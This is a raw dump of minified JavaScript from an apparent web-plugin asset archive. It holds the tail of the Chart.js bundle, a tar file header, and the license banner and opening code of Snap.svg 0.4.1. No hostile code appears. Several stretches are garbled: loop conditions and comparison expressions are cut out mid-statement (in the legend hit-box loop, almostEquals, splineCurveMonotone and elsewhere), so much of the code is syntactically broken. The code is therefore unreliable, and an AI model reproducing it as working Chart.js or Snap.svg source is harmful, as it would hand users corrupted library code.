s=p*Math.SQRT2/2,l=h.xPlus(t,p/2),u=e+m/2;H.canvas.drawPoint(c,i.pointStyle,s,l,u,i.rotation)}else c.fillRect(h.leftForLtr(t,p),e,p,m),0!==o&&c.strokeRect(h.leftForLtr(t,p),e,p,m);c.restore()}}(k,w,e),v[i].left=h.leftForLtr(k,v[i].width),v[i].top=w,function(t,e,n,i){var a=m/2,r=h.xPlus(t,p+a),o=e+a;c.fillText(n.text,r,o),n.hidden&&(c.beginPath(),c.lineWidth=2,c.moveTo(r,o),c.lineTo(h.xPlus(r,i),o),c.stroke())}(k,w,e,f),y?d.x+=g+n.padding:d.y+=x})),H.rtl.restoreTextDirection(t.ctx,e.textDirection)}},_getLegendItemAt:function(t,e){var n,i,a,r=this;if(t>=r.left&&t<=r.right&&e>=r.top&&e<=r.bottom)for(a=r.legendHitBoxes,n=0;n=(i=a[n]).left&&t<=i.left+i.width&&e>=i.top&&e<=i.top+i.height)return r.legendItems[n];return null},handleEvent:function(t){var e,n=this,i=n.options,a="mouseup"===t.type?"click":t.type;if("mousemove"===a){if(!i.onHover&&!i.onLeave)return}else{if("click"!==a)return;if(!i.onClick)return}e=n._getLegendItemAt(t.x,t.y),"click"===a?e&&i.onClick&&i.onClick.call(n,t.native,e):(i.onLeave&&e!==n._hoveredItem&&(n._hoveredItem&&i.onLeave.call(n,t.native,n._hoveredItem),n._hoveredItem=e),i.onHover&&e&&i.onHover.call(n,t.native,e))}});function Oi(t,e){var n=new Ti({ctx:t.ctx,options:e,chart:t});me.configure(t,n,e),me.addBox(t,n),t.legend=n}var Ai={id:"legend",_element:Ti,beforeInit:function(t){var e=t.options.legend;e&&Oi(t,e)},beforeUpdate:function(t){var e=t.options.legend,n=t.legend;e?(H.mergeIf(e,W.global.legend),n?(me.configure(t,n,e),n.options=e):Oi(t,e)):n&&(me.removeBox(t,n),delete t.legend)},afterEvent:function(t,e){var n=t.legend;n&&n.handleEvent(e)}},Fi=H.noop;W._set("global",{title:{display:!1,fontStyle:"bold",fullWidth:!0,padding:10,position:"top",text:"",weight:2e3}});var Ii=$.extend({initialize:function(t){H.extend(this,t),this.legendHitBoxes=[]},beforeUpdate:Fi,update:function(t,e,n){var i=this;return i.beforeUpdate(),i.maxWidth=t,i.maxHeight=e,i.margins=n,i.beforeSetDimensions(),i.setDimensions(),i.afterSetDimensions(),i.beforeBuildLabels(),i.buildLabels(),i.afterBuildLabels(),i.beforeFit(),i.fit(),i.afterFit(),i.afterUpdate(),i.minSize},afterUpdate:Fi,beforeSetDimensions:Fi,setDimensions:function(){var t=this;t.isHorizontal()?(t.width=t.maxWidth,t.left=0,t.right=t.width):(t.height=t.maxHeight,t.top=0,t.bottom=t.height),t.paddingLeft=0,t.paddingTop=0,t.paddingRight=0,t.paddingBottom=0,t.minSize={width:0,height:0}},afterSetDimensions:Fi,beforeBuildLabels:Fi,buildLabels:Fi,afterBuildLabels:Fi,beforeFit:Fi,fit:function(){var t,e=this,n=e.options,i=e.minSize={},a=e.isHorizontal();n.display?(t=(H.isArray(n.text)?n.text.length:1)*H.options._parseFont(n).lineHeight+2*n.padding,e.width=i.width=a?e.maxWidth:t,e.height=i.height=a?t:e.maxHeight):e.width=i.width=e.height=i.height=0},afterFit:Fi,isHorizontal:function(){var t=this.options.position;return"top"===t||"bottom"===t},draw:function(){var t=this,e=t.ctx,n=t.options;if(n.display){var i,a,r,o=H.options._parseFont(n),s=o.lineHeight,l=s/2+n.padding,u=0,d=t.top,h=t.left,c=t.bottom,f=t.right;e.fillStyle=H.valueOrDefault(n.fontColor,W.global.defaultFontColor),e.font=o.string,t.isHorizontal()?(a=h+(f-h)/2,r=d+l,i=f-h):(a="left"===n.position?h+l:f-l,r=d+(c-d)/2,i=c-d,u=Math.PI*("left"===n.position?-.5:.5)),e.save(),e.translate(a,r),e.rotate(u),e.textAlign="center",e.textBaseline="middle";var g=n.text;if(H.isArray(g))for(var m=0,p=0;p=0;i--){var a=t[i];if(e(a))return a}},H.isNumber=function(t){return!isNaN(parseFloat(t))&&isFinite(t)},H.almostEquals=function(t,e,n){return Math.abs(t-e)=t},H.max=function(t){return t.reduce((function(t,e){return isNaN(e)?t:Math.max(t,e)}),Number.NEGATIVE_INFINITY)},H.min=function(t){return t.reduce((function(t,e){return isNaN(e)?t:Math.min(t,e)}),Number.POSITIVE_INFINITY)},H.sign=Math.sign?function(t){return Math.sign(t)}:function(t){return 0===(t=+t)||isNaN(t)?t:t>0?1:-1},H.toRadians=function(t){return t*(Math.PI/180)},H.toDegrees=function(t){return t*(180/Math.PI)},H._decimalPlaces=function(t){if(H.isFinite(t)){for(var e=1,n=0;Math.round(t*e)/e!==t;)e*=10,n++;return n}},H.getAngleFromPoint=function(t,e){var n=e.x-t.x,i=e.y-t.y,a=Math.sqrt(n*n+i*i),r=Math.atan2(i,n);return r<-.5*Math.PI&&(r+=2*Math.PI),{angle:r,distance:a}},H.distanceBetweenPoints=function(t,e){return Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))},H.aliasPixel=function(t){return t%2==0?0:.5},H._alignPixel=function(t,e,n){var i=t.currentDevicePixelRatio,a=n/2;return Math.round((e-a)*i)/i+a},H.splineCurve=function(t,e,n,i){var a=t.skip?e:t,r=e,o=n.skip?e:n,s=Math.sqrt(Math.pow(r.x-a.x,2)+Math.pow(r.y-a.y,2)),l=Math.sqrt(Math.pow(o.x-r.x,2)+Math.pow(o.y-r.y,2)),u=s/(s+l),d=l/(s+l),h=i*(u=isNaN(u)?0:u),c=i*(d=isNaN(d)?0:d);return{previous:{x:r.x-h*(o.x-a.x),y:r.y-h*(o.y-a.y)},next:{x:r.x+c*(o.x-a.x),y:r.y+c*(o.y-a.y)}}},H.EPSILON=Number.EPSILON||1e-14,H.splineCurveMonotone=function(t){var e,n,i,a,r,o,s,l,u,d=(t||[]).map((function(t){return{model:t._model,deltaK:0,mK:0}})),h=d.length;for(e=0;e0?d[e-1]:null,(a=e0?d[e-1]:null,a=e=t.length-1?t[0]:t[e+1]:e>=t.length-1?t[t.length-1]:t[e+1]},H.previousItem=function(t,e,n){return n?e<=0?t[t.length-1]:t[e-1]:e<=0?t[0]:t[e-1]},H.niceNum=function(t,e){var n=Math.floor(H.log10(t)),i=t/Math.pow(10,n);return(e?i<1.5?1:i<3?2:i<7?5:10:i<=1?1:i<=2?2:i<=5?5:10)*Math.pow(10,n)},H.requestAnimFrame="undefined"==typeof window?function(t){t()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(t){return window.setTimeout(t,1e3/60)},H.getRelativePosition=function(t,e){var n,i,a=t.originalEvent||t,r=t.target||t.srcElement,o=r.getBoundingClientRect(),s=a.touches;s&&s.length>0?(n=s[0].clientX,i=s[0].clientY):(n=a.clientX,i=a.clientY);var l=parseFloat(H.getStyle(r,"padding-left")),u=parseFloat(H.getStyle(r,"padding-top")),d=parseFloat(H.getStyle(r,"padding-right")),h=parseFloat(H.getStyle(r,"padding-bottom")),c=o.right-o.left-l-d,f=o.bottom-o.top-u-h;return{x:n=Math.round((n-o.left-l)/c*r.width/e.currentDevicePixelRatio),y:i=Math.round((i-o.top-u)/f*r.height/e.currentDevicePixelRatio)}},H.getConstraintWidth=function(t){return n(t,"max-width","clientWidth")},H.getConstraintHeight=function(t){return n(t,"max-height","clientHeight")},H._calculatePadding=function(t,e,n){return(e=H.getStyle(t,e)).indexOf("%")>-1?n*parseInt(e,10)/100:parseInt(e,10)},H._getParentNode=function(t){var e=t.parentNode;return e&&"[object ShadowRoot]"===e.toString()&&(e=e.host),e},H.getMaximumWidth=function(t){var e=H._getParentNode(t);if(!e)return t.clientWidth;var n=e.clientWidth,i=n-H._calculatePadding(e,"padding-left",n)-H._calculatePadding(e,"padding-right",n),a=H.getConstraintWidth(t);return isNaN(a)?i:Math.min(i,a)},H.getMaximumHeight=function(t){var e=H._getParentNode(t);if(!e)return t.clientHeight;var n=e.clientHeight,i=n-H._calculatePadding(e,"padding-top",n)-H._calculatePadding(e,"padding-bottom",n),a=H.getConstraintHeight(t);return isNaN(a)?i:Math.min(i,a)},H.getStyle=function(t,e){return t.currentStyle?t.currentStyle[e]:document.defaultView.getComputedStyle(t,null).getPropertyValue(e)},H.retinaScale=function(t,e){var n=t.currentDevicePixelRatio=e||"undefined"!=typeof window&&window.devicePixelRatio||1;if(1!==n){var i=t.canvas,a=t.height,r=t.width;i.height=a*n,i.width=r*n,t.ctx.scale(n,n),i.style.height||i.style.width||(i.style.height=a+"px",i.style.width=r+"px")}},H.fontString=function(t,e,n){return e+" "+t+"px "+n},H.longestText=function(t,e,n,i){var a=(i=i||{}).data=i.data||{},r=i.garbageCollect=i.garbageCollect||[];i.font!==e&&(a=i.data={},r=i.garbageCollect=[],i.font=e),t.font=e;var o,s,l,u,d,h=0,c=n.length;for(o=0;on.length){for(o=0;oi&&(i=r),i},H.numberOfLabelLines=function(t){var e=1;return H.each(t,(function(t){H.isArray(t)&&t.length>e&&(e=t.length)})),e},H.color=k?function(t){return t instanceof CanvasGradient&&(t=W.global.defaultColor),k(t)}:function(t){return console.error("Color.js not found!"),t},H.getHoverColor=function(t){return t instanceof CanvasPattern||t instanceof CanvasGradient?t:H.color(t).saturate(.5).darken(.1).rgbString()}}(),en._adapters=rn,en.Animation=K,en.animationService=J,en.controllers=Jt,en.DatasetController=it,en.defaults=W,en.Element=$,en.elements=wt,en.Interaction=re,en.layouts=me,en.platform=Ie,en.plugins=Le,en.Scale=xn,en.scaleService=Re,en.Ticks=on,en.Tooltip=Ge,en.helpers.each(fi,(function(t,e){en.scaleService.registerScaleType(e,t,t._defaults)})),Ri)Ri.hasOwnProperty(zi)&&en.plugins.register(Ri[zi]);en.platform.initialize();var Ei=en;return"undefined"!=typeof window&&(window.Chart=en),en.Chart=en,en.Legend=Ri.legend._element,en.Title=Ri.title._element,en.pluginService=en.plugins,en.PluginBase=en.Element.extend({}),en.canvasHelpers=en.helpers.canvas,en.layoutService=en.layouts,en.LinearScaleBase=Dn,en.helpers.each(["Bar","Bubble","Doughnut","Line","PolarArea","Radar","Scatter"],(function(t){en[t]=function(e,n){return new en(e,en.helpers.merge(n||{},{type:t.charAt(0).toLowerCase()+t.slice(1)}))}})),Ei}));assets/js/library/snap.svg-min.js000064400000225601147600277620013025 0ustar00// Snap.svg 0.4.1 // // Copyright (c) 2013 – 2015 Adobe Systems Incorporated. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // build: 2015-04-13 !function(a){var b,c,d="0.4.2",e="hasOwnProperty",f=/[\.\/]/,g=/\s*,\s*/,h="*",i=function(a,b){return a-b},j={n:{}},k=function(){for(var a=0,b=this.length;b>a;a++)if("undefined"!=typeof this[a])return this[a]},l=function(){for(var a=this.length;--a;)if("undefined"!=typeof this[a])return this[a]},m=function(a,d){a=String(a);var e,f=c,g=Array.prototype.slice.call(arguments,2),h=m.listeners(a),j=0,n=[],o={},p=[],q=b;p.firstDefined=k,p.lastDefined=l,b=a,c=0;for(var r=0,s=h.length;s>r;r++)"zIndex"in h[r]&&(n.push(h[r].zIndex),h[r].zIndex<0&&(o[h[r].zIndex]=h[r]));for(n.sort(i);n[j]<0;)if(e=o[n[j++]],p.push(e.apply(d,g)),c)return c=f,p;for(r=0;s>r;r++)if(e=h[r],"zIndex"in e)if(e.zIndex==n[j]){if(p.push(e.apply(d,g)),c)break;do if(j++,e=o[n[j]],e&&p.push(e.apply(d,g)),c)break;while(e)}else o[e.zIndex]=e;else if(p.push(e.apply(d,g)),c)break;return c=f,b=q,p};m._events=j,m.listeners=function(a){var b,c,d,e,g,i,k,l,m=a.split(f),n=j,o=[n],p=[];for(e=0,g=m.length;g>e;e++){for(l=[],i=0,k=o.length;k>i;i++)for(n=o[i].n,c=[n[m[e]],n[h]],d=2;d--;)b=c[d],b&&(l.push(b),p=p.concat(b.f||[]));o=l}return p},m.on=function(a,b){if(a=String(a),"function"!=typeof b)return function(){};for(var c=a.split(g),d=0,e=c.length;e>d;d++)!function(a){for(var c,d=a.split(f),e=j,g=0,h=d.length;h>g;g++)e=e.n,e=e.hasOwnProperty(d[g])&&e[d[g]]||(e[d[g]]={n:{}});for(e.f=e.f||[],g=0,h=e.f.length;h>g;g++)if(e.f[g]==b){c=!0;break}!c&&e.f.push(b)}(c[d]);return function(a){+a==+a&&(b.zIndex=+a)}},m.f=function(a){var b=[].slice.call(arguments,1);return function(){m.apply(null,[a,null].concat(b).concat([].slice.call(arguments,0)))}},m.stop=function(){c=1},m.nt=function(a){return a?new RegExp("(?:\\.|\\/|^)"+a+"(?:\\.|\\/|$)").test(b):b},m.nts=function(){return b.split(f)},m.off=m.unbind=function(a,b){if(!a)return void(m._events=j={n:{}});var c=a.split(g);if(c.length>1)for(var d=0,i=c.length;i>d;d++)m.off(c[d],b);else{c=a.split(f);var k,l,n,d,i,o,p,q=[j];for(d=0,i=c.length;i>d;d++)for(o=0;od;d++)for(k=q[d];k.n;){if(b){if(k.f){for(o=0,p=k.f.length;p>o;o++)if(k.f[o]==b){k.f.splice(o,1);break}!k.f.length&&delete k.f}for(l in k.n)if(k.n[e](l)&&k.n[l].f){var r=k.n[l].f;for(o=0,p=r.length;p>o;o++)if(r[o]==b){r.splice(o,1);break}!r.length&&delete k.n[l].f}}else{delete k.f;for(l in k.n)k.n[e](l)&&k.n[l].f&&delete k.n[l].f}k=k.n}}},m.once=function(a,b){var c=function(){return m.unbind(a,c),b.apply(this,arguments)};return m.on(a,c)},m.version=d,m.toString=function(){return"You are running Eve "+d},"undefined"!=typeof module&&module.exports?module.exports=m:"function"==typeof define&&define.amd?define("eve",[],function(){return m}):a.eve=m}(this),function(a,b){if("function"==typeof define&&define.amd)define(["eve"],function(c){return b(a,c)});else if("undefined"!=typeof exports){var c=require("eve");module.exports=b(a,c)}else b(a,a.eve)}(window||this,function(a,b){var c=function(b){var c={},d=a.requestAnimationFrame||a.webkitRequestAnimationFrame||a.mozRequestAnimationFrame||a.oRequestAnimationFrame||a.msRequestAnimationFrame||function(a){setTimeout(a,16)},e=Array.isArray||function(a){return a instanceof Array||"[object Array]"==Object.prototype.toString.call(a)},f=0,g="M"+(+new Date).toString(36),h=function(){return g+(f++).toString(36)},i=Date.now||function(){return+new Date},j=function(a){var b=this;if(null==a)return b.s;var c=b.s-a;b.b+=b.dur*c,b.B+=b.dur*c,b.s=a},k=function(a){var b=this;return null==a?b.spd:void(b.spd=a)},l=function(a){var b=this;return null==a?b.dur:(b.s=b.s*a/b.dur,void(b.dur=a))},m=function(){var a=this;delete c[a.id],a.update(),b("mina.stop."+a.id,a)},n=function(){var a=this;a.pdif||(delete c[a.id],a.update(),a.pdif=a.get()-a.b)},o=function(){var a=this;a.pdif&&(a.b=a.get()-a.pdif,delete a.pdif,c[a.id]=a)},p=function(){var a,b=this;if(e(b.start)){a=[];for(var c=0,d=b.start.length;d>c;c++)a[c]=+b.start[c]+(b.end[c]-b.start[c])*b.easing(b.s)}else a=+b.start+(b.end-b.start)*b.easing(b.s);b.set(a)},q=function(){var a=0;for(var e in c)if(c.hasOwnProperty(e)){var f=c[e],g=f.get();a++,f.s=(g-f.b)/(f.dur/f.spd),f.s>=1&&(delete c[e],f.s=1,a--,function(a){setTimeout(function(){b("mina.finish."+a.id,a)})}(f)),f.update()}a&&d(q)},r=function(a,b,e,f,g,i,s){var t={id:h(),start:a,end:b,b:e,s:0,dur:f-e,spd:1,get:g,set:i,easing:s||r.linear,status:j,speed:k,duration:l,stop:m,pause:n,resume:o,update:p};c[t.id]=t;var u,v=0;for(u in c)if(c.hasOwnProperty(u)&&(v++,2==v))break;return 1==v&&d(q),t};return r.time=i,r.getById=function(a){return c[a]||null},r.linear=function(a){return a},r.easeout=function(a){return Math.pow(a,1.7)},r.easein=function(a){return Math.pow(a,.48)},r.easeinout=function(a){if(1==a)return 1;if(0==a)return 0;var b=.48-a/1.04,c=Math.sqrt(.1734+b*b),d=c-b,e=Math.pow(Math.abs(d),1/3)*(0>d?-1:1),f=-c-b,g=Math.pow(Math.abs(f),1/3)*(0>f?-1:1),h=e+g+.5;return 3*(1-h)*h*h+h*h*h},r.backin=function(a){if(1==a)return 1;var b=1.70158;return a*a*((b+1)*a-b)},r.backout=function(a){if(0==a)return 0;a-=1;var b=1.70158;return a*a*((b+1)*a+b)+1},r.elastic=function(a){return a==!!a?a:Math.pow(2,-10*a)*Math.sin(2*(a-.075)*Math.PI/.3)+1},r.bounce=function(a){var b,c=7.5625,d=2.75;return 1/d>a?b=c*a*a:2/d>a?(a-=1.5/d,b=c*a*a+.75):2.5/d>a?(a-=2.25/d,b=c*a*a+.9375):(a-=2.625/d,b=c*a*a+.984375),b},a.mina=r,r}("undefined"==typeof b?function(){}:b),d=function(a){function c(a,b){if(a){if(a.nodeType)return w(a);if(e(a,"array")&&c.set)return c.set.apply(c,a);if(a instanceof s)return a;if(null==b)return a=y.doc.querySelector(String(a)),w(a)}return a=null==a?"100%":a,b=null==b?"100%":b,new v(a,b)}function d(a,b){if(b){if("#text"==a&&(a=y.doc.createTextNode(b.text||b["#text"]||"")),"#comment"==a&&(a=y.doc.createComment(b.text||b["#text"]||"")),"string"==typeof a&&(a=d(a)),"string"==typeof b)return 1==a.nodeType?"xlink:"==b.substring(0,6)?a.getAttributeNS(T,b.substring(6)):"xml:"==b.substring(0,4)?a.getAttributeNS(U,b.substring(4)):a.getAttribute(b):"text"==b?a.nodeValue:null;if(1==a.nodeType){for(var c in b)if(b[z](c)){var e=A(b[c]);e?"xlink:"==c.substring(0,6)?a.setAttributeNS(T,c.substring(6),e):"xml:"==c.substring(0,4)?a.setAttributeNS(U,c.substring(4),e):a.setAttribute(c,e):a.removeAttribute(c)}}else"text"in b&&(a.nodeValue=b.text)}else a=y.doc.createElementNS(U,a);return a}function e(a,b){return b=A.prototype.toLowerCase.call(b),"finite"==b?isFinite(a):"array"==b&&(a instanceof Array||Array.isArray&&Array.isArray(a))?!0:"null"==b&&null===a||b==typeof a&&null!==a||"object"==b&&a===Object(a)||J.call(a).slice(8,-1).toLowerCase()==b}function f(a){if("function"==typeof a||Object(a)!==a)return a;var b=new a.constructor;for(var c in a)a[z](c)&&(b[c]=f(a[c]));return b}function h(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return a.push(a.splice(c,1)[0])}function i(a,b,c){function d(){var e=Array.prototype.slice.call(arguments,0),f=e.join("␀"),g=d.cache=d.cache||{},i=d.count=d.count||[];return g[z](f)?(h(i,f),c?c(g[f]):g[f]):(i.length>=1e3&&delete g[i.shift()],i.push(f),g[f]=a.apply(b,e),c?c(g[f]):g[f])}return d}function j(a,b,c,d,e,f){if(null==e){var g=a-c,h=b-d;return g||h?(180+180*D.atan2(-h,-g)/H+360)%360:0}return j(a,b,e,f)-j(c,d,e,f)}function k(a){return a%360*H/180}function l(a){return 180*a/H%360}function m(a){var b=[];return a=a.replace(/(?:^|\s)(\w+)\(([^)]+)\)/g,function(a,c,d){return d=d.split(/\s*,\s*|\s+/),"rotate"==c&&1==d.length&&d.push(0,0),"scale"==c&&(d.length>2?d=d.slice(0,2):2==d.length&&d.push(0,0),1==d.length&&d.push(d[0],0,0)),b.push("skewX"==c?["m",1,0,D.tan(k(d[0])),1,0,0]:"skewY"==c?["m",1,D.tan(k(d[0])),0,1,0,0]:[c.charAt(0)].concat(d)),a}),b}function n(a,b){var d=ab(a),e=new c.Matrix;if(d)for(var f=0,g=d.length;g>f;f++){var h,i,j,k,l,m=d[f],n=m.length,o=A(m[0]).toLowerCase(),p=m[0]!=o,q=p?e.invert():0;"t"==o&&2==n?e.translate(m[1],0):"t"==o&&3==n?p?(h=q.x(0,0),i=q.y(0,0),j=q.x(m[1],m[2]),k=q.y(m[1],m[2]),e.translate(j-h,k-i)):e.translate(m[1],m[2]):"r"==o?2==n?(l=l||b,e.rotate(m[1],l.x+l.width/2,l.y+l.height/2)):4==n&&(p?(j=q.x(m[2],m[3]),k=q.y(m[2],m[3]),e.rotate(m[1],j,k)):e.rotate(m[1],m[2],m[3])):"s"==o?2==n||3==n?(l=l||b,e.scale(m[1],m[n-1],l.x+l.width/2,l.y+l.height/2)):4==n?p?(j=q.x(m[2],m[3]),k=q.y(m[2],m[3]),e.scale(m[1],m[1],j,k)):e.scale(m[1],m[1],m[2],m[3]):5==n&&(p?(j=q.x(m[3],m[4]),k=q.y(m[3],m[4]),e.scale(m[1],m[2],j,k)):e.scale(m[1],m[2],m[3],m[4])):"m"==o&&7==n&&e.add(m[1],m[2],m[3],m[4],m[5],m[6])}return e}function o(a){var b=a.node.ownerSVGElement&&w(a.node.ownerSVGElement)||a.node.parentNode&&w(a.node.parentNode)||c.select("svg")||c(0,0),d=b.select("defs"),e=null==d?!1:d.node;return e||(e=u("defs",b.node).node),e}function p(a){return a.node.ownerSVGElement&&w(a.node.ownerSVGElement)||c.select("svg")}function q(a,b,c){function e(a){if(null==a)return I;if(a==+a)return a;d(j,{width:a});try{return j.getBBox().width}catch(b){return 0}}function f(a){if(null==a)return I;if(a==+a)return a;d(j,{height:a});try{return j.getBBox().height}catch(b){return 0}}function g(d,e){null==b?i[d]=e(a.attr(d)||0):d==b&&(i=e(null==c?a.attr(d)||0:c))}var h=p(a).node,i={},j=h.querySelector(".svg---mgr");switch(j||(j=d("rect"),d(j,{x:-9e9,y:-9e9,width:10,height:10,"class":"svg---mgr",fill:"none"}),h.appendChild(j)),a.type){case"rect":g("rx",e),g("ry",f);case"image":g("width",e),g("height",f);case"text":g("x",e),g("y",f);break;case"circle":g("cx",e),g("cy",f),g("r",e);break;case"ellipse":g("cx",e),g("cy",f),g("rx",e),g("ry",f);break;case"line":g("x1",e),g("x2",e),g("y1",f),g("y2",f);break;case"marker":g("refX",e),g("markerWidth",e),g("refY",f),g("markerHeight",f);break;case"radialGradient":g("fx",e),g("fy",f);break;case"tspan":g("dx",e),g("dy",f);break;default:g(b,e)}return h.removeChild(j),i}function r(a){e(a,"array")||(a=Array.prototype.slice.call(arguments,0));for(var b=0,c=0,d=this.node;this[b];)delete this[b++];for(b=0;bc;c++){var e={type:a[c].type,attr:a[c].attr()},f=a[c].children();b.push(e),f.length&&x(f,e.childNodes=[])}}c.version="0.4.0",c.toString=function(){return"Snap v"+this.version},c._={};var y={win:a.window,doc:a.window.document};c._.glob=y;{var z="hasOwnProperty",A=String,B=parseFloat,C=parseInt,D=Math,E=D.max,F=D.min,G=D.abs,H=(D.pow,D.PI),I=(D.round,""),J=Object.prototype.toString,K=/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+%?)?)\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?%?)\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?%?)\s*\))\s*$/i,L=(c._.separator=/[,\s]+/,/[\s]*,[\s]*/),M={hs:1,rg:1},N=/([a-z])[\s,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\s]*,?[\s]*)+)/gi,O=/([rstm])[\s,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\s]*,?[\s]*)+)/gi,P=/(-?\d*\.?\d*(?:e[\-+]?\\d+)?)[\s]*,?[\s]*/gi,Q=0,R="S"+(+new Date).toString(36),S=function(a){return(a&&a.type?a.type:I)+R+(Q++).toString(36)},T="http://www.w3.org/1999/xlink",U="http://www.w3.org/2000/svg",V={};c.url=function(a){return"url('#"+a+"')"}}c._.$=d,c._.id=S,c.format=function(){var a=/\{([^\}]+)\}/g,b=/(?:(?:^|\.)(.+?)(?=\[|\.|$|\()|\[('|")(.+?)\2\])(\(\))?/g,c=function(a,c,d){var e=d;return c.replace(b,function(a,b,c,d,f){b=b||d,e&&(b in e&&(e=e[b]),"function"==typeof e&&f&&(e=e()))}),e=(null==e||e==d?a:e)+""};return function(b,d){return A(b).replace(a,function(a,b){return c(a,b,d)})}}(),c._.clone=f,c._.cacher=i,c.rad=k,c.deg=l,c.sin=function(a){return D.sin(c.rad(a))},c.tan=function(a){return D.tan(c.rad(a))},c.cos=function(a){return D.cos(c.rad(a))},c.asin=function(a){return c.deg(D.asin(a))},c.acos=function(a){return c.deg(D.acos(a))},c.atan=function(a){return c.deg(D.atan(a))},c.atan2=function(a){return c.deg(D.atan2(a))},c.angle=j,c.len=function(a,b,d,e){return Math.sqrt(c.len2(a,b,d,e))},c.len2=function(a,b,c,d){return(a-c)*(a-c)+(b-d)*(b-d)},c.closestPoint=function(a,b,c){function d(a){var d=a.x-b,e=a.y-c;return d*d+e*e}for(var e,f,g,h,i=a.node,j=i.getTotalLength(),k=j/i.pathSegList.numberOfItems*.125,l=1/0,m=0;j>=m;m+=k)(h=d(g=i.getPointAtLength(m))).5;){var n,o,p,q,r,s;(p=f-k)>=0&&(r=d(n=i.getPointAtLength(p)))f)return b-f;if(f>a-c)return b-f+a}return b},c.getRGB=i(function(a){if(!a||(a=A(a)).indexOf("-")+1)return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:Z};if("none"==a)return{r:-1,g:-1,b:-1,hex:"none",toString:Z};if(!(M[z](a.toLowerCase().substring(0,2))||"#"==a.charAt())&&(a=W(a)),!a)return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:Z};var b,d,f,g,h,i,j=a.match(K);return j?(j[2]&&(f=C(j[2].substring(5),16),d=C(j[2].substring(3,5),16),b=C(j[2].substring(1,3),16)),j[3]&&(f=C((h=j[3].charAt(3))+h,16),d=C((h=j[3].charAt(2))+h,16),b=C((h=j[3].charAt(1))+h,16)),j[4]&&(i=j[4].split(L),b=B(i[0]),"%"==i[0].slice(-1)&&(b*=2.55),d=B(i[1]),"%"==i[1].slice(-1)&&(d*=2.55),f=B(i[2]),"%"==i[2].slice(-1)&&(f*=2.55),"rgba"==j[1].toLowerCase().slice(0,4)&&(g=B(i[3])),i[3]&&"%"==i[3].slice(-1)&&(g/=100)),j[5]?(i=j[5].split(L),b=B(i[0]),"%"==i[0].slice(-1)&&(b/=100),d=B(i[1]),"%"==i[1].slice(-1)&&(d/=100),f=B(i[2]),"%"==i[2].slice(-1)&&(f/=100),("deg"==i[0].slice(-3)||"°"==i[0].slice(-1))&&(b/=360),"hsba"==j[1].toLowerCase().slice(0,4)&&(g=B(i[3])),i[3]&&"%"==i[3].slice(-1)&&(g/=100),c.hsb2rgb(b,d,f,g)):j[6]?(i=j[6].split(L),b=B(i[0]),"%"==i[0].slice(-1)&&(b/=100),d=B(i[1]),"%"==i[1].slice(-1)&&(d/=100),f=B(i[2]),"%"==i[2].slice(-1)&&(f/=100),("deg"==i[0].slice(-3)||"°"==i[0].slice(-1))&&(b/=360),"hsla"==j[1].toLowerCase().slice(0,4)&&(g=B(i[3])),i[3]&&"%"==i[3].slice(-1)&&(g/=100),c.hsl2rgb(b,d,f,g)):(b=F(D.round(b),255),d=F(D.round(d),255),f=F(D.round(f),255),g=F(E(g,0),1),j={r:b,g:d,b:f,toString:Z},j.hex="#"+(16777216|f|d<<8|b<<16).toString(16).slice(1),j.opacity=e(g,"finite")?g:1,j)):{r:-1,g:-1,b:-1,hex:"none",error:1,toString:Z}},c),c.hsb=i(function(a,b,d){return c.hsb2rgb(a,b,d).hex}),c.hsl=i(function(a,b,d){return c.hsl2rgb(a,b,d).hex}),c.rgb=i(function(a,b,c,d){if(e(d,"finite")){var f=D.round;return"rgba("+[f(a),f(b),f(c),+d.toFixed(2)]+")"}return"#"+(16777216|c|b<<8|a<<16).toString(16).slice(1)});var W=function(a){var b=y.doc.getElementsByTagName("head")[0]||y.doc.getElementsByTagName("svg")[0],c="rgb(255, 0, 0)";return(W=i(function(a){if("red"==a.toLowerCase())return c;b.style.color=c,b.style.color=a;var d=y.doc.defaultView.getComputedStyle(b,I).getPropertyValue("color");return d==c?null:d}))(a)},X=function(){return"hsb("+[this.h,this.s,this.b]+")"},Y=function(){return"hsl("+[this.h,this.s,this.l]+")"},Z=function(){return 1==this.opacity||null==this.opacity?this.hex:"rgba("+[this.r,this.g,this.b,this.opacity]+")"},$=function(a,b,d){if(null==b&&e(a,"object")&&"r"in a&&"g"in a&&"b"in a&&(d=a.b,b=a.g,a=a.r),null==b&&e(a,string)){var f=c.getRGB(a);a=f.r,b=f.g,d=f.b}return(a>1||b>1||d>1)&&(a/=255,b/=255,d/=255),[a,b,d]},_=function(a,b,d,f){a=D.round(255*a),b=D.round(255*b),d=D.round(255*d);var g={r:a,g:b,b:d,opacity:e(f,"finite")?f:1,hex:c.rgb(a,b,d),toString:Z};return e(f,"finite")&&(g.opacity=f),g};c.color=function(a){var b;return e(a,"object")&&"h"in a&&"s"in a&&"b"in a?(b=c.hsb2rgb(a),a.r=b.r,a.g=b.g,a.b=b.b,a.opacity=1,a.hex=b.hex):e(a,"object")&&"h"in a&&"s"in a&&"l"in a?(b=c.hsl2rgb(a),a.r=b.r,a.g=b.g,a.b=b.b,a.opacity=1,a.hex=b.hex):(e(a,"string")&&(a=c.getRGB(a)),e(a,"object")&&"r"in a&&"g"in a&&"b"in a&&!("error"in 